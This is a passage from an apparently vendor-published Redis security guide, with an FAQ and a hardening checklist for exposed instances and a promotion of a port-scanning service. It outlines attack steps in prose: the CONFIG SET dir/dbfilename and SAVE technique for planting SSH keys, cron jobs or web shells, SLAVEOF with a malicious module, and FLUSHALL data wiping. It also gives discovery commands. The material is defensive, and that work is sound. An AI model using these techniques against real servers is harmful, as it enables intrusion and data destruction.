If you run Redis Cluster, 6379 is only half the attack surface. Every cluster node opens a second port — the cluster bus — at the data port plus 10,000. So a node serving clients on 6379 is also gossiping with its peers on 16379. Move the data port to 7000 and the bus follows to 17000. The bus carries node-to-node coordination, failover signalling, and configuration propagation, and it's frequently left out of firewall rules because operators think about the port they connect to and forget the one the cluster talks to itself on. That's why the nmap command above includes 16379 explicitly. An exposed cluster bus is an exposed cluster.
And here's the part most checklists get wrong: they treat this as a one-time task — run the scan, get a clean result, tick the box. But exposure isn't created by attackers; it's created by your own changes, and infrastructure changes daily. The cadence has to match the rate of change, which means re-running these probes on every deploy, every new instance, every firewall edit — precisely the work that scheduled external port scanning exists to automate. That's the whole argument for continuous scanning over annual pentests: a pentest proves you were clean on the day the consultant looked; continuous monitoring proves you're still clean after this morning's merge.
Frequently asked questions
Is it safe to expose Redis to the public internet?
No. Redis is documented by its own maintainers as a service for trusted clients inside trusted environments, with no authentication by default. An exposed instance lets anyone read or destroy your data and pivot to host-level code execution. Reachability alone is the risk — never put port 6379 on the public internet.
What happens if Redis has no password?
Any client that can reach the port has full read, write, and delete access. A single FLUSHALL wipes the entire keyspace in milliseconds. CONFIG SET lets an attacker write files to disk for SSH-key or cron-based remote code execution. No exploit, no kit, and no skill are required — the protocol itself is the attack.
What is Redis protected mode and does it actually protect me?
Protected mode (default yes since Redis 3.2) only rejects non-loopback connections when no password is set — and, before Redis 7.0, only when no explicit bind directive existed either. The moment you set requirepass with bind 0.0.0.0, protected mode stops shielding you. It is a guardrail against accidental exposure, not a substitute for a firewall.
How do attackers exploit an exposed Redis instance?
They locate it via Shodan or Censys (port:6379 product:Redis) or a masscan sweep, confirm it with redis-cli -h IP PING, then act. Destruction is one FLUSHALL. For host RCE they abuse CONFIG SET dir + dbfilename + SAVE to write an SSH key, cron job, or web shell, or use SLAVEOF plus a malicious module.
What is RediShell (CVE-2025-49844) and am I affected?
RediShell is a use-after-free in Redis's embedded Lua interpreter that escapes the sandbox and reaches host code execution — scored CVSS 10.0 by Redis and 9.9 by NVD/the GitHub advisory (the gap is whether the authentication precondition is credited). You are affected if an attacker can reach the instance and issue EVAL/EVALSHA — meaning an unauthenticated open instance, or any instance where the attacker holds or can obtain credentials. EVAL/EVALSHA are enabled by default. Patch to 6.2.20, 7.2.11, 7.4.6, 8.0.4, 8.2.2 or later.
Does setting a Redis password make it safe to expose?
No. A password gates access but does not remove the attack surface. RediShell turns any reachable, Lua-capable instance into host RCE, and a leaked, reused, or brute-forced password reopens everything. The real fix is to make Redis unreachable from the internet — bind it to a private interface and firewall the port — not merely to authenticate it.
How do I check if my Redis is exposed to the internet?
Test from outside your network — a VM at a different provider or a phone hotspot, since the service may be closed from inside the office. Run nmap -sV -Pn -p 6379,16379 YOUR_IP and redis-cli -h IP -p 6379 PING. A PONG means it is open with no auth. Also search port:6379 product:Redis on Shodan and Censys.
Which Redis commands should I disable or rename?
Neutralize CONFIG with rename-command CONFIG "" or an ACL restriction to kill the write-anywhere gadget. Restrict FLUSHALL and FLUSHDB if your application never calls them. Strip the whole scripting category (-@scripting, which covers EVAL/EVALSHA and the _ro/function variants) to mitigate RediShell until you patch. SLAVEOF/REPLICAOF and MODULE are also high-risk and should be locked down.
Should I use requirepass or ACLs in Redis 6+?
Use ACLs. requirepass is a single shared password that grants full command access to anyone who holds it. ACLs (Redis 6.0+) create per-user accounts that scope which commands and key patterns each client can touch, so a compromised app credential cannot run CONFIG, FLUSHALL, or EVAL. Treat requirepass only as a fallback on pre-6.0 builds.
How do I bind Redis to a private network interface?
In redis.conf, set bind 127.0.0.1 ::1 for loopback (or your private IP) and keep protected-mode yes. Under Docker, publish to the private interface explicitly with -p 127.0.0.1:6379:6379 — a bare -p 6379:6379 writes iptables rules that ufw and firewalld do not manage, silently bypassing your host firewall.
Can attackers get remote code execution through Redis?
Yes — historically two ways with no password needed. CONFIG SET dir/dbfilename + SAVE writes an SSH key, cron job, or web shell to disk. SLAVEOF plus a malicious .so module loads attacker code directly. With access, RediShell (CVE-2025-49844) adds a third path through the Lua interpreter — which is exactly why a password alone is not enough.
What ports does Redis use besides 6379?
The cluster bus runs on 16379 (the data port plus 10000) and must be firewalled alongside 6379. Redis Sentinel listens on 26379 by default, and TLS deployments commonly add 6380. Scan and lock down all of them — leaving the cluster bus open while closing the data port still leaves you exposed.
How to secure exposed Redis: the full hardening checklist
Here is the whole fix, in one place, ordered the way the risk actually flows. Reachability is the root cause — an exposed Redis is dangerous because something on the internet can open a TCP socket to it — so the list goes network-first. Authentication, command hardening, and patching matter, but they're defense-in-depth layered on top of "don't let strangers reach the port." Work top to bottom. Each step is verifiable, and the last step is verifying.
- Confirm exposure from the outside first. From a host on a different network (a separate-provider VM or a phone hotspot), run
nmap -sV -Pn -p 6379,16379,26379,6380 YOUR_IPandredis-cli -h YOUR_IP -p 6379 PING, and search your IPs on Shodan and Censys. APONGfrom the internet is a critical, fix-today finding. If it was reachable, treat it as breached: inspect/root/.ssh/authorized_keysand/etc/cron.dfor entries you didn't add, runCONFIG GET dirto see if persistence was redirected, look for an injectedcrackit/backup1key, and check for unexpected mining processes (sustained 100% CPU is the obvious flag). - Bind to loopback or a private interface. In
redis.conf, setbind 127.0.0.1 ::1andprotected-mode yes. Binding Redis to127.0.0.1means only the local host can connect — nothing on the wider network, let alone the internet, can open a socket to the port at all. If your app server is a separate box, bind to the private IP instead (for examplebind 127.0.0.1 10.0.0.5), never the public one. Never "fix" a connection-refused error by settingbind 0.0.0.0orprotected-mode no— that's the single most common way Redis ends up exposed.# redis.conf bind 127.0.0.1 ::1 protected-mode yes - Require authentication — and pick the right mechanism. The verdict is simple: on Redis 6.0 and later, use ACLs, not
requirepass.requirepassonly sets a single shared password — once a client is in, it can run every command. ACLs let you define per-user accounts that scope which commands and which key patterns each user is allowed to touch, so your application user can runGET/SETon its own keyspace and nothing else. Note that-@dangerousalone does not remove the scripting commands —EVAL/EVALSHAlive in the@scriptingcategory, so you must subtract it explicitly with-@scriptingif the app doesn't need Lua. (If it genuinely does need Lua, you can't strip@scripting, which makes patching RediShell the only real protection for that user.) Only fall back to a long, randomrequirepassif you're stuck on a pre-6.0 version. Either way the secret must be genuinely random and long — a dictionary word is no protection at all.# Redis 6.0+ — scoped ACL user, scripting removed so the RediShell trigger is unreachable ACL SETUSER appuser on >LONG-RANDOM-SECRET ~app:* +@read +@write -@dangerous -@scripting # Pre-6.0 fallback only requirepass LONG-RANDOM-SECRET-AT-LEAST-32-CHARS - Firewall at both layers, default-deny, scoped to the app subnet. The host firewall and the cloud firewall are independent — getting one right does nothing for the other. On the host, deny by default and allow only the app subnet:
In your cloud security group / NSG, the ingress rule for 6379 must not beufw default deny incoming ufw allow from 10.0.0.0/24 to any port 63790.0.0.0/0. Scope it to the application tier's security group or a specific CIDR. And don't forget Redis Cluster's second port: the cluster bus runs on16379(data port + 10000). Firewall it the same way, or you've left a door open next to the one you just locked. - Watch Docker — it bypasses your host firewall.
docker run -p 6379:6379publishes the container to every interface and writes its owniptablesrules thatufwandfirewalldnever see. You can have a textbook-cleanufwruleset and still be wide open. Bind the published port explicitly to loopback:
If the container needs to be reachable from another host, publish it on the private IP, not the bare port mapping.docker run -d -p 127.0.0.1:6379:6379 redis - Defang the RCE primitives, even after auth. Authentication isn't the finish line — the whole point of RediShell is that authenticated access is enough to own the host. Disable the
CONFIGcommand by renaming it to nothing:rename-command CONFIG "". TheCONFIG SET dir/dbfilenamesequence is the write-anywhere gadget that turns Redis into an SSH-key dropper, a cron writer, or a webshell planter; disablingCONFIGtakes that gadget off the table even for a client that has already authenticated. Do the same forFLUSHALLandFLUSHDBif your application never legitimately needs to wipe the keyspace. On 6.0+, prefer ACL-restricting these commands per user over global renames so you keep them available to an admin account.# redis.conf — neutralize the write-anywhere gadget rename-command CONFIG "" rename-command FLUSHALL "" rename-command FLUSHDB "" - Patch RediShell now. CVE-2025-49844 is a Lua use-after-free rated CVSS 10.0 by Redis (9.9 by NVD) that converts authenticated access into remote code execution — which is exactly why "we set a password" is no longer a defense for an exposed instance. Upgrade to a fixed build: 6.2.20, 7.2.11, 7.4.6, 8.0.4, or 8.2.2 or later (cross-reference the fixed-versions table above; Redis Software has its own builds). If you genuinely cannot patch this week, the stopgap is to strip the entire scripting category —
ACL SETUSER default -@scripting(which coversEVAL,EVALSHA, and the_ro/functionvariants), portable down to Redis 6.0 — so untrusted users can't run the Lua that triggers the bug. Treat that as a tourniquet, not a fix. - Encrypt the wire with TLS. A private network is not a confidential network — anything that lands on the same VPC, a compromised neighbor, or a misconfigured peering can sniff plaintext Redis traffic, including your auth secret on every connection. Enable TLS (
tls-portwith cert, key, and CA configured) so even intra-datacenter traffic isn't readable on the wire. - Verify from outside, then make detection continuous. A fix you haven't tested from the attacker's vantage point is a hope, not a control. From a host outside your network, run
redis-cli -h YOUR_PUBLIC_IP -p 6379 PING; the correct result is a connection timeout or "connection refused." Then make this check repeat: exposure is created by routine deploys, a new public subnet, a Docker flag, or a forgotten staging box — so re-scan on every infrastructure change, not once a year. This is where most teams quietly slip back into the 11%.
That last step is where continuous detection earns its place. FortWatch port monitoring sweeps your full external surface and flags an open 6379 as critical by service identity — it fingerprints the datastore first, so Redis listening on a non-standard port is rated exactly as critical as Redis on 6379, never downgraded because the port number didn't match a list. On the version side, vulnerability scanning catches the unpatched RediShell build before someone else does, turning step 7 from a thing you have to remember into a finding that pages you. Lock the port down first; the scanner is what keeps it locked.
